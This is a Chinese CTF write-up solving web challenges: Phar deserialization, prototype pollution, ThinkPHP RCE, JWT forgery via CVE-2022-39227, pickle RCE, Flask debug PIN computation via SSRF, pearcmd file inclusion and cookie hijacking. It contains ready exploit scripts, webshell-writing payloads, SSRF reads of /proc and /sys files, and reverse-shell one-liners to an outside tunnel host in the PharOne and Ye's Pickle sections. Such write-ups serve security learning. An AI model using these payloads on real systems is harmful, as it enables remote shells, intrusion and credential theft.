                # linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
                session_data = session_data[:-2].decode('utf-8')
                # session_data = session_data[:-1].decode('utf-8')
                print(session_data)
                url = "http://127.0.0.1:8080/backdoor"
                cookies = {"session": session_data}
                res = requests.get(url=url, cookies=cookies)
                # print(res.text)
                pattern = r'

                (.*)

                ' result_content = re.search(pattern, res.text, re.S) # print(result_content) if result_content: result = result_content.group(1) print(result) else: print("something wrong!")

                得到flag

                在这里插入图片描述

                PharOne

                考点:Phar反序列化、gzip压缩、无回显RCE

                打开题目,有文件上传功能

                访问./class.php,得到源码

                 cmd);
                    }
                }
                @unlink($_POST['file']); 
                

                结合文件上传,考虑phar反序列化;同时还是无回显RCE,用写入马和反弹shell都行

                用普通的phar文件上传发现不行(jpg才行)

                修改然后上传发现被正则匹配

                在这里插入图片描述绕过正则匹配,这里用的是gzip压缩的方法

                方法一 写马

                exp

                cmd="echo \"/var/www/html/1.php";
                $phar = new Phar("hacker.phar");
                $phar->startBuffering();
                $phar->setStub("");
                $phar->setMetadata($a);
                $phar->addFromString("test.txt", "test");
                $phar->stopBuffering();
                

                然后gzip命令压缩

                在这里插入图片描述上传成功后,访问./class.php

                使用phar伪协议读取上传文件

                file=phar://upload/9e32fd5eb93d0766e32d9e33cc3ef2d5.jpg
                

                在这里插入图片描述执行成功后,访问写入的1.php,得到flag

                在这里插入图片描述

                方法二 反弹shell

                exp

                cmd="bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'";
                $phar = new Phar("hacker.phar");
                $phar->startBuffering();
                $phar->setStub("");
                $phar->setMetadata($a);
                $phar->addFromString("test.txt", "test");
                $phar->stopBuffering();
                

                然后就和方法一差不多,先gzip压缩改后缀,然后phar伪协议读取

                成功反弹shell

                在这里插入图片描述

                OtenkiBoy

                考点:JavaSctipt 原型链污染

                题目给了源码,首先是app.js

                const env = global.env = (process.env.NODE_ENV || "production").trim();
                const isEnvDev = global.isEnvDev = env === "development";
                const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
                const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
                const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;
                const path = require("path");
                const Koa = require("koa");
                const bodyParser = require("koa-bodyparser");
                const app = new Koa();
                app.use(require('koa-static')(path.join(__dirname, './static')));
                devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
                app.use(bodyParser({
                    onerror: function (err, ctx) {
                        // If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
                        if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
                            ctx.request.body = {}
                        } else {
                            throw err;
                        }
                    }
                }));
                [
                    "info",
                    "submit"
                ].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
                app.listen(PORT, () => {
                    console.info(`Server is running at port ${PORT}...`);
                })
                module.exports = app;
                

                给了两个路由,分别是./info和./submit

                追踪一下submit.js

                const Router = require("koa-router");
                const router = new Router();
                const SQL = require("./sql");
                const sql = new SQL("wishes");
                const { rndID, mergeJSON } = require("./_components/utils");
                async function insert2db(data) {
                    let date = String(data["date"]), place = String(data["place"]),
                        contact = String(data["contact"]), reason = String(data["reason"]);
                    const timestamp = Date.now();
                    const wishid = rndID(24, timestamp);
                    await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`,
                        [wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
                    return { wishid, date, place, contact, reason, timestamp }
                }
                router.post("/submit", async (ctx) => {
                    if (ctx.header["content-type"] !== "application/json")
                        return ctx.body = {
                            status: "error",
                            msg: "Content-Type must be application/json"
                        }
                    const jsonText = ctx.request.rawBody || "{}"
                    try {
                        const data = JSON.parse(jsonText);
                        if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
                            return ctx.body = {
                                status: "error",
                                msg: "Invalid parameter"
                            }
                        if (data["contact"].length <= 0 || data["reason"].length <= 0)
                            return ctx.body = {
                                status: "error",
                                msg: "Parameters contact and reason cannot be empty"
                            }
                        const DEFAULT = {
                            date: "unknown",
                            place: "unknown"
                        }
                        const result = await insert2db(mergeJSON(DEFAULT, data));
                        ctx.body = {
                            status: "success",
                            data: result
                        };
                    } catch (e) {
                        console.error(e);
                        ctx.body = {
                            status: "error",
                            msg: "Internal Server Error"
                        }
                    }
                })
                module.exports = router;
                

                大概过程就是检测content-type是否为application/json,然后就是关键语句

                const result = await insert2db(mergeJSON(DEFAULT, data));
                

                这里的data参数是可控的,继续追踪mergeJSON函数,在\routes\_components的utils.js里面

                const mergeJSON = function (target, patch, deep = false) {
                    if (typeof patch !== "object") return patch;
                    if (Array.isArray(patch)) return patch; // do not recurse into arrays
                    if (!target) target = {}
                    if (deep) { target = copyJSON(target), patch = copyJSON(patch); }
                    for (let key in patch) {
                        if (key === "__proto__") continue;
                        if (target[key] !== patch[key])
                            target[key] = mergeJSON(target[key], patch[key]);
                    }
                    return target;
                }
                

                可以发现存在原型链污染,虽然过滤了__proto__,但是我们可以用constructor.prototype去代替

                接下来是寻找注入点,查看routes/info.js

                const Router = require("koa-router");
                const router = new Router();
                const SQL = require("./sql");
                const sql = new SQL("wishes");
                const { mergeJSON, createDate } = require("./_components/utils");
                const CONFIG = mergeJSON(require("../config.default"), require("../config"), true);
                const DEFAULT_CONFIG = require("../config.default");
                const LauchTime = new Date();
                async function getInfo(timestamp) {
                    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
                    // Remove test data from before the movie was released
                    let minTimestamp;
                    try {
                        minTimestamp = createDate(CONFIG.min_public_time).getTime();
                        if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
                    } catch (e) {
                        console.warn(`\x1b[33m${e.message}\x1b[0m`);
                        console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
                        minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
                    }
                    timestamp = Math.max(timestamp, minTimestamp);
                    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
                    return data;
                }
                router.post("/info/:ts?", async (ctx) => {
                    if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
                        return ctx.body = {
                            status: "error",
                            msg: "Content-Type must be application/x-www-form-urlencoded"
                        }
                    if (typeof ctx.params.ts === "undefined") ctx.params.ts = '0'
                    const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
                    if (typeof timestamp !== "number")
                        return ctx.body = {
                            status: "error",
                            msg: "Invalid parameter ts"
                        }
                    try {
                        const data = await getInfo(timestamp).catch(e => { throw e });
                        ctx.body = {
                            status: "success",
                            data: data
                        }
                    } catch (e) {
                        console.error(e);
                        return ctx.body = {
                            status: "error",
                            msg: "Internal Server Error"
                        }
                    }
                })
                module.exports = router;
                

                关键部分为getInfo函数,minTimestamp取自配置文件,在Math.max处为可控的timestamp设置下限值,我们需要将minTimestamp改小来获取更早的数据库数据。

                然后追踪createDate函数,在routes/_components/utils.js中

                存在几个注入点

                • opts 注入点
                  const DEFAULT_CREATE_DATE_OPTIONS = {
                      UTC: false,
                      format: [
                          "yyyy-MM-dd HH:mm:ss",
                          "yyyy-MM-dd HH:mm:ss.fff",
                          "yyyy-MM-dd",
                          "MM/dd/yyyy",
                          "MM/dd/yyyy HH:mm:ss",
                          "MM/dd/yyyy HH:mm:ss.fff",
                          "MM/dd/yy HH:mm:ss",
                          "HH:mm:ss",
                          "HH:mm:ss.fff"
                      ],
                      // baseDate: undefined
                  }
                  const createDate = (str, opts) => {
                      const CopiedDefaultOptions = copyJSON(DEFAULT_CREATE_DATE_OPTIONS)
                      if (typeof opts === "undefined") opts = CopiedDefaultOptions
                      if (typeof opts !== "object") opts = { ...CopiedDefaultOptions, UTC: Boolean(opts) };
                      opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions.UTC : Boolean(opts.UTC);
                      opts.format = opts.format || CopiedDefaultOptions.format;
                      if (!Array.isArray(opts.format)) opts.format = [opts.format]
                      opts.format = opts.format.filter(f => typeof f === "string")
                          .filter(f => {
                              if (/yy|yyyy|MM|dd|HH|mm|ss|fff/.test(f) === false) {
                                  console.warn(`Invalid format "${f}".`, `At least one format specifier is required.`);
                                  return false;
                              }
                              if (`|${f}|`.replace(/yyyy/g, "yy").split(/yy|MM|dd|HH|mm|ss|fff/).includes("")) {
                                  console.warn(`Invalid format "${f}".`, `Delimeters are required between format specifiers.`);
                                  return false;
                              }
                              if (f.includes("yyyy") && f.replace(/yyyy/g, "").includes("yy")) {
                                  console.warn(`Invalid format "${f}".`, `"yyyy" and "yy" cannot be used together.`);
                                  return false;
                              }
                              return true;
                          })
                      opts.baseDate = new Date(opts.baseDate || Date.now());
                  

                  当createDate的opts未指定时并不能注入,但是当opts为 JSON 对象且没有指定format属性时,下面这一行会触发原型链

                  opts.format = opts.format || CopiedDefaultOptions.format;
                  

                  而对于baseDate,由于DEFAULT_CREATE_DATE_OPTIONS中本身不含baseDate(undefined),可直接触发该原型链

                  opts.baseDate = new Date(opts.baseDate || Date.now());
                  
                  • 时间函数注入点

                    在utility functions的注释部分存在函数

                    const getHMS = (time) => {
                                let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/.exec(time.trim())
                                if (regres === null) return {}
                                let [n1, n2, n3, n4] = [regres[1], regres[2], regres[4], regres[6]].map(t => typeof t === "undefined" ? undefined : Number(t));
                                if (typeof n3 === "undefined") n3 = 0; // 23:59(:59)?
                                if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59) {
                                    // 23:59:59(.999)?
                                    let HH = pad(n1, 2), mm = pad(n2, 2), ss = pad(n3, 2),
                                        fff = typeof n4 === "undefined" ? undefined : pad(n4, 3).substring(0, 3);
                                    const o = { HH, mm, ss }
                                    if (typeof fff !== "undefined") o.fff = fff;
                                    return o;
                                } else return {}
                            }
                    

                    主要看最后几行,如果fff(即毫秒)未被定义,那么返回值中就不会带有fff属性

                    调用getHMS函数的地方在createDate的末尾几行,属于createDate的 Fallback Auto Detection 部分

                    const { HH, mm, ss, fff } = getHMS(time_str)
                    

                    当time_str中不包含毫秒,能够触发原型链

                    接下来就是如何利用漏洞的问题了

                    sortTable.forEach((f, i) => {
                        if (f == "yy") {
                            let year = Number(regres[i + 1])
                            year = year < 100 ? (1900 + year) : year;
                            return argTable["yyyy"] = year;
                        }
                        argTable[f] = Number(regres[i + 1])
                    })
                    

                    我们发现createDate的opts的format支持yy标识符,而当年份小于100时,我们认为是20世纪的年份

                    举例来说,如果format为20yy-MM-dd,在format解析字符串2023-10-01时,将解析yy为23,输出输出为1923,最终输出的年份是1923-10-01

                    目标:污染format

                    前面提到,污染format的条件是opts为 JSON 对象且没有指定format属性,观察routes/info中的相应片段,我们需要触发下面的catch

                    try {
                        minTimestamp = createDate(CONFIG.min_public_time).getTime();
                        if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
                    } catch (e) {
                        console.warn(`\x1b[33m${e.message}\x1b[0m`);
                        console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
                        minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, { UTC: false, baseDate: LauchTime }).getTime();
                    }
                    

                    触发catch的条件是前面try的createDate返回一个无效的日期,或者createDate本身被调用时法神错误,所以就要利用我们刚刚找到的两个注入点

                    下面的这行代码表明了基于format的日期匹配不可能返回一个无效日期,因此返回无效日期只有 Fallback Auto Detection 能够做到

                    if (Number.isSafeInteger(d.getTime())) return d;
                    else continue;
                    

                    从如下代码片段可知,基于format的日期匹配依赖于baseDate,format 的过程是在argTable上进行覆盖

                    const dateObj = opts.baseDate
                    const _UTC = opts.UTC ? "UTC" : ""
                    let argTable = {
                        "yyyy": dateObj[`get${_UTC}FullYear`](),
                        "MM": dateObj[`get${_UTC}Month`]() + 1,
                        "dd": dateObj[`get${_UTC}Date`](),
                        "HH": dateObj[`get${_UTC}Hours`](),
                        "mm": dateObj[`get${_UTC}Minutes`](),
                        "ss": dateObj[`get${_UTC}Seconds`](),
                        "fff": dateObj[`get${_UTC}Milliseconds`] ? dateObj[`get${_UTC}Milliseconds`]() : undefined // due to system architecture
                    }
                    

                    因此污染baseDate为无效日期即可绕过 format 模式进入 Fallback Auto Detection

                    routes/info.js的try中用的是config.js中的min_pulic_time,为2019-07-09 00:00:00,不带有毫秒,刚好能够触发fff的原型链污染,为fff指定为无效值即可

                    使用如下的 payload 可以触发catch

                    {
                      "contact":"1", "reason":"2",
                      "constructor":{
                        "prototype":{
                          "baseDate":"aaa",
                          "fff": "bbb"
                        }
                      }
                    }
                    

                    触发catch后,达到了污染format的条件,但是createDate的参数变成了config.default.js中的min_public_time,为2019-07-08T16:00:00.000Z,因此可以构造format为yy19-MM-ddTHH:mm:ss.fffZ。然后基于format的日期匹配会返回1920-07-08T16:00:00.000Z的日期,已经将minTimestamp提早了近一个世纪了

                    最终payload

                    {
                      "contact":"a", "reason":"a",
                      "constructor":{
                        "prototype":{
                          "format": "yy19-MM-ddTHH:mm:ss.fffZ",
                          "baseDate":"aaa",
                          "fff": "bbb"
                        }
                      }
                    }
                    

                    以Content-Type: application/json的 Header 用POST方法向路径/submit请求即可

                    在这里插入图片描述

                    然后为我们再请求/info/0,找到含有 flag 的一条数据

                    在这里插入图片描述

                    WEEK5

                    Unserialize Again

                    考点:phar反序列化、绕过__wakeup()、修改签名

                    打开题目,发现有文件上传功能

                    在源码出有hint,去看cookie

                    在这里插入图片描述

                    访问得到源码

                     user='human';
                            if(1==1){
                                die();
                            }
                            if(1!=1){
                                echo $fffflag;
                            }
                        }
                        public function __construct(){
                            $this->user='AshenOne';
                            $this->eating='fire';
                            die();
                        }
                        public function __tostring(){
                            return $this->user.$this->pass;
                        }
                        public function __invoke(){
                            if($this->user=='admin'&&$this->pass=='admin'){
                                echo $nothing;
                            }
                        }
                        public function __destruct(){
                            if($this->God=='true'&&$this->user=='admin'){
                                system($this->eating);
                            }
                            else{
                                die('Get Out!');
                            }
                        }
                    }                 
                    if(isset($_GET['pear'])&&isset($_GET['apple'])){
                        // $Eden=new story();
                        $pear=$_GET['pear'];
                        $Adam=$_GET['apple'];
                        $file=file_get_contents('php://input');
                        file_put_contents($pear,urldecode($file));
                        file_exists($Adam);
                    }
                    else{
                        echo '多吃雪梨';
                    } 多吃雪梨
                    

                    分析一下,命令执行的条件很简单,让God=true和user=admin成立即可,所以我们要绕__wakeup()。

                    exp如下

                    user='admin';
                    $a->God=true;
                    $a->eating='cat /*';
                    $phar = new Phar("hacker.phar");
                    $phar->startBuffering();
                    $phar->setStub("");
                    $phar->setMetadata($a);
                    $phar->addFromString("test.txt", "test");
                    $phar->stopBuffering();
                    ?>
                    

                    将生成的文件,用010打开,复制到新建的十六进制文件

                    修改属性数目绕过wakeup

                    在这里插入图片描述

                    然后由于签名文件损坏要修复,注意到倒数第二行最后面的03

                    可以知道为SHA256,修复脚本如下

                    from hashlib import sha256
                    with open("hacker1.phar",'rb') as f:
                       text=f.read()
                       main=text[:-40]        #正文部分(除去最后40字节)
                       end=text[-8:]		  #最后八位也是不变的	
                       new_sign=sha256(main).digest()
                       new_phar=main+new_sign+end
                       open("hacker1.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件
                    

                    然后发现题目的文件上传不能用

                    那么写脚本上传顺便url编码

                    import urllib.parse
                    import os
                    import re
                    import requests
                    url='http://1c6e2942-f983-47cc-a6ef-9612e7519196.node4.buuoj.cn:81/'
                    pattern = r'flag\{.+?\}'
                    params={
                        'pear':'hacker1.phar', 
                        'apple':'phar://hacker1.phar'
                    }
                    with open('hacker1.phar','rb') as fi:
                        f = fi.read()
                        ff=urllib.parse.quote(f)
                        fin=requests.post(url=url+"pairing.php",data=ff,params=params)
                        matches = re.findall(pattern, fin.text)
                        for match in matches:
                            print(match)
                    

                    得到flag

                    在这里插入图片描述

                    Final

                    考点:ThinkPHP 5.0.23 RCE、SUID提权

                    打开题目,发现是ThinkPHP框架

                    直接用工具找到payload

                    在这里插入图片描述试一试发现成功打开phpinfo

                    在这里插入图片描述

                    发现system被禁了,那么试试exec写入webshell

                    写入到 /var/www/public

                    在这里插入图片描述

                    payload

                    GET:?s=captcha&test=-1

                    POST:_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo ‘’ > /var/www/public/shell.php

                    蚁剑连接

                    在这里插入图片描述

                    Ye’s Pickle

                    考点:python_jwt的CVE-2022-39227、pickle反序列化

                    题目给了附件,我们分析一下

                    # -*- coding: utf-8 -*-
                    import base64
                    import string
                    import random
                    from flask import *
                    import jwcrypto.jwk as jwk
                    import pickle
                    from python_jwt import *
                    app = Flask(__name__)
                    def generate_random_string(length=16):
                        characters = string.ascii_letters + string.digits  # 包含字母和数字
                        random_string = ''.join(random.choice(characters) for _ in range(length))
                        return random_string
                    app.config['SECRET_KEY'] = generate_random_string(16)
                    key = jwk.JWK.generate(kty='RSA', size=2048)
                    @app.route("/")
                    def index():
                        payload=request.args.get("token")
                        if payload:
                            token=verify_jwt(payload, key, ['PS256'])
                            session["role"]=token[1]['role']
                            return render_template('index.html')
                        else:
                            session["role"]="guest"
                            user={"username":"boogipop","role":"guest"}
                            jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
                            return render_template('index.html',token=jwt)
                    @app.route("/pickle")
                    def unser():
                        if session["role"]=="admin":
                            pickle.loads(base64.b64decode(request.args.get("pickle")))
                            return render_template("index.html")
                        else:
                            return render_template("index.html")
                    if __name__ == "__main__":
                        app.run(host="0.0.0.0", port=5000, debug=True)
                    

                    分析如下

                    1. 先看/路由下,先接收参数token然后进行jwt认证并且从验证后的 JWT 中获取用户角色信息,并存储在 Session中,否则role赋值为guest,创建用户对象生成JWT
                    2. 然后再看看./pickle路由,首先检测session中role参数值是否为admin,如果是则进行pickle反序列化

                    所以我们的思路很明显,伪造session值为admin,然后进行pickle反序列化

                    打开题目,发现给了一段token值

                    在这里插入图片描述然后拿去JWT解密一下

                    发现role值为guest

                    在这里插入图片描述那么我们就要伪造JWT

                    exp如下

                    import base64
                    from datetime import timedelta
                    from json import loads, dumps
                    from jwcrypto.common import base64url_decode, base64url_encode
                    def topic(topic):
                        """ Use mix of JSON and compact format to insert forged claims including long expiration """
                        [header, payload, signature] = topic.split('.')
                        parsed_payload = loads(base64url_decode(payload))
                        parsed_payload['role'] = 'admin'
                        fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
                        return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'    
                    originaltoken = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTk1MzgyNDQsImlhdCI6MTY5OTUzNDY0NCwianRpIjoiMFB1NllqWEFlRXMzZy1ZRFZ5bDNkUSIsIm5iZiI6MTY5OTUzNDY0NCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.K_GRKX1-2Em3LFLx5wD_VJ-lHrrU595Xwrniu_zxexgUDmy5DR9V9Qsq0lVMsEEwNoShA9-IsWiS58j3MxGldk3GUXWCEeXZ7HBlcPCB_wUlZ6TE7FIqZkeAbtH9EaptOEYTxzbiVsWsoLGjCm8Y9EazQkUQd_aQRhYHa6KgNmbmFeVQSeORwLAi1PVkjYT0wVtweG3KAegorhyBFpmK9v5nKvwFYP6l33LvkTLV3V1ryb-yfvCn08TLYKc17JNkRquBp_1pW_dH1P_qkxiO98806nBniPc76BjSwolLHPh7J9Wa53pBV2RSKbRjqmJ7JR3hr_RkgVmSOMUCeCT5sw'
                    topic = topic(originaltoken)
                    print(topic)
                    

                    这里有个小坑,生成的payload要将空格url编码一下

                    然后bp抓包,GET传参参数token

                    在这里插入图片描述

                    因为我们代码审计时知道会将token赋值给session里

                    所以我们用该session值去进行pickle反序列化

                    (不确定是否改为admin可以去解密看看)

                    在这里插入图片描述

                    接着就到pickle反序列化,由于没有任何过滤

                    直接给payload,反弹shell

                    import base64
                    opcode=b'''cos
                    system
                    (S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
                    tR.
                    '''
                    print(base64.b64encode(opcode))
                    

                    bp抓包访问./pickle,修改session,GET传参参数pickle

                    成功反弹shell

                    在这里插入图片描述

                    得到flag

                    在这里插入图片描述

                    pppython?

                    考点:ssrf、计算pin码

                    打开题目,源码如下

                     getMessage());
                        }
                    ?> 
                    

                    发现youhint,按照要求请求参数hint为数组,对应键值为"your?", "mine!", "hint!!"

                    ?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
                    

                    得到信息,读取flag权限不够,且存在app.py

                    在这里插入图片描述

                    回到源码,看到由curl命令,尝试ssrf读取app.py

                    (注意参数lolita得为数组格式,因为有CURLOPT_HTTPHEADER)

                    ?url=file:///app.py&lolita[]=
                    

                    app.py源码如下

                    from flask import Flask, request, session, render_template, render_template_string 
                    import os, base64 
                    #from NeepuF1Le import neepu_files 
                    app = Flask(__name__) 
                    app.config['SECRET_KEY'] = '******' 
                    @app.route('/') 
                    def welcome(): 
                        if session["islogin"] == True: 
                            return "flag{***********************}" 
                        app.run('0.0.0.0', 1314, debug=True)
                    

                    这里伪造session能得到flag,但是根本没有cookie,伪造不了,题目也提示了。但是可以发现debug开启监听在1314端口,那么结合CURLOPT_HTTPHEADER包含头部信息,我们可以计算pin码手动生成cookie然后上传用于身份验证,从而命令执行

                    PIN 的生成流程分析,可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定,而这两个列表变量又由如下6个变量决定:

                    username 启动这个 Flask 的用户
                    modname 一般默认 flask.app
                    getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
                    getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
                    str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
                    get_machine_id() 系统 id
                    
                    • 我们知道用户为root
                    • 绝对路径这里我没爆不出来
                      /usr/local/lib/python3.10/dist-packages/flask/app.py
                      
                      • 接着获取网卡 MAC 地址
                        ?url=file:///sys/class/net/eth0/address&lolita[]=
                        

                        然后十六进制转十进制

                        在这里插入图片描述

                        • 最后的系统id包括两部分,我们先读取/etc/machine-id(也可以是/proc/sys/kernel/random/boot_id)
                          ?url=file:///proc/sys/kernel/random/boot_id&lolita[]=
                          
                          • 然后取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符
                            ?url=file:///proc/self/cgroup&lolita[]=
                            

                            在这里插入图片描述计算pin码脚本如下

                            import hashlib
                            from itertools import chain
                            import time
                            probably_public_bits = [
                                'root'  
                                'flask.app',
                                'Flask',
                                '/usr/local/lib/python3.10/site-packages/flask/app.py'
                            ]
                            private_bits = [
                                '209308333341629',  
                                '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
                            ]
                            h = hashlib.sha1()
                            for bit in chain(probably_public_bits, private_bits):
                                if not bit:
                                    continue
                                if isinstance(bit, str):
                                    bit = bit.encode('utf-8')
                                h.update(bit)
                            h.update(b'cookiesalt')
                            cookie_name = '__wzd' + h.hexdigest()[:20]
                            num = None
                            if num is None:
                                h.update(b'pinsalt')
                                num = ('%09d' % int(h.hexdigest(), 16))[:9]
                            rv = None
                            if rv is None:
                                for group_size in 5, 4, 3:
                                    if len(num) % group_size == 0:
                                        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                                                      for x in range(0, len(num), group_size))
                                        break
                                else:
                                    rv = num
                            print(rv)
                            def hash_pin(pin: str) -> str:
                                return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
                            print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
                            

                            运行脚本,得到cookie

                            在这里插入图片描述

                            然后就是如何传参

                            GET /?&__debugger__=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37
                            

                            这里我们要去获取frm和s的值

                            • frm如果没有报错信息的话值为0
                            • s的值可以直接访问./console,然后查看源码的SECRET值

                              由于这里试了半天没有报错信息,那么frm=0

                              访问一下console,获取s值

                              ?url=http://localhost:1314/console&lolita[]=
                              

                              在这里插入图片描述

                              4-复盘

                              考点:pearcmd.php本地文件包含、SUID提权

                              下载附件,源码如下

                              
                              
                                
                                
                                
                                
                                  
                                
                                
                               
                              

                              可以看到有文件包含漏洞,将我们传参的值与php拼接

                              (这里可以参考week3的include)

                              bp抓包,写入一句话木马

                              ?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/+shell.php
                              

                              在这里插入图片描述

                              然后蚁剑连接

                              在这里插入图片描述

                              发现flag权限不够

                              在这里插入图片描述

                              然后就是SUID提权

                              NextDrive

                              考点:伪造请求发包、Cookie窃取、Linux文件系统

                              打开题目,在公共资源区发现test.req.http

                              下载下来查看一下

                              HTTP/1.1 200 OK

                              content-type: application/json; charset=utf-8

                              content-length: 50

                              date: Tue, 06 Oct 2023 13:39:21 GMT

                              connection: keep-alive

                              keep-alive: timeout=5

                              {“code”:0,“msg”:“success”,“logged”:true,“data”:[{“name”:“すずめ feat.十明 - RADWIMPS,十明.flac”,“hash”:“5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc”,“size”:27471829,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622700337,“isYours”:true,“isOwn”:true,“ownFn”:“すずめ feat.十明 - RADWIMPS,十明.flac”},{“name”:“Windows 12 Concept.png”,“hash”:“469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900”,“size”:440707,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622702813,“isYours”:true,“isOwn”:true,“ownFn”:“Windows 12 Concept.png”},{“name”:“信息安全技术信息安全事件分类分级指南.pdf”,“hash”:“03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f”,“size”:330767,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622702846,“isYours”:true,“isOwn”:true,“ownFn”:“信息安全技术信息安全事件分类分级指南.pdf”},{“name”:“不限速,就是快!.jpg”,“hash”:“2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e”,“size”:32920,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622702870,“isYours”:true,“isOwn”:true,“ownFn”:“不限速,就是快!.jpg”},{“name”:“test.req.http”,“hash”:“102982a62a610a3a36d686f574fa2ad1447095da77d0686e6157d02dd37b4e7f”,“size”:1085,“uploader”:“admin”,“uploader_uid”:“100000”,“shareTime”:1699622706331,“isYours”:true,“isOwn”:true,“ownFn”:“test.req.http”}]}

                              可以看到大概是每个文件对应文件名,哈希值和文件大小

                              我们先随便注册一个用户,想注册admin发现存在,思路是登录admin获取重要信息

                              随便上传一个文件

                              F12看到请求过程中有check过程,响应里面显示无法秒传

                              在这里插入图片描述bp抓包一下,发现json数据只有哈希值和文件名

                              由于我们刚刚下载的文件里可能存在敏感信息,特别是test.req.http文件

                              那么我们在check时使用该文件对应的哈希值去绕过,从而下载下来该文件

                              在这里插入图片描述然后打开下载的文件

                              POST /api/info/drive/sharezone HTTP/1.1
                              Accept: */*
                              Accept-Encoding: gzip, deflate, br
                              Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
                              Cache-Control: no-cache
                              Connection: keep-alive
                              Content-Length: 0
                              Content-Type: application/x-www-form-urlencoded
                              Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiJhYjg3N2I2MDhjOTBlODJhNzNjMDhlYTBjN2NjNjI4ODdiN2U2YTIwOWJmOTljNjQ0ZjE4YmU3NzQzODkzMGY1In0uWxlkC2QWXTZtHjojaVAhUA.AwN3HB8QSRFNeUMLXAxZAlMLK00eRBoTTXhDAlgPWwZcAXceFUIdHEt2QwQLWlxVXQd/H0BGT0dLJEULW11fAlZUek8XQklAG3QXVV5bV1VXC3dOR0QZFRdwFFJRD15SAVB6SkMWTkBKdUBQWVxfBlQHf08URkgRH3dAAl8NWQc
                              Host: localhost:21920
                              Origin: http://localhost:21920
                              Pragma: no-cache
                              Referer: http://localhost:21920/sharezone
                              Sec-Fetch-Dest: empty
                              Sec-Fetch-Mode: cors
                              Sec-Fetch-Site: same-origin
                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
                              sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
                              sec-ch-ua-mobile: ?0
                              sec-ch-ua-platform: "Windows"
                              

                              我们发现cookie值,尝试伪造cookie

                              我们刷新页面,bp修改cookie值,成功以以admin登录

                              在这里插入图片描述把这个share.js下载下来,源码如下

                              const Router = require("koa-router");
                              const router = new Router();
                              const CONFIG = require("../../runtime.config.json");
                              const Res = require("../../components/utils/response");
                              const FileSignUtil = require("../../components/utils/file-signature");
                              const { DriveUtil } = require("../../components/utils/database.utilities");
                              const fs = require("fs");
                              const path = require("path");
                              const { verifySession } = require("../../components/utils/session");
                              const logger = global.logger;
                              /**
                               * @deprecated
                               * ! FIXME: 发现漏洞,请进行修改
                               */
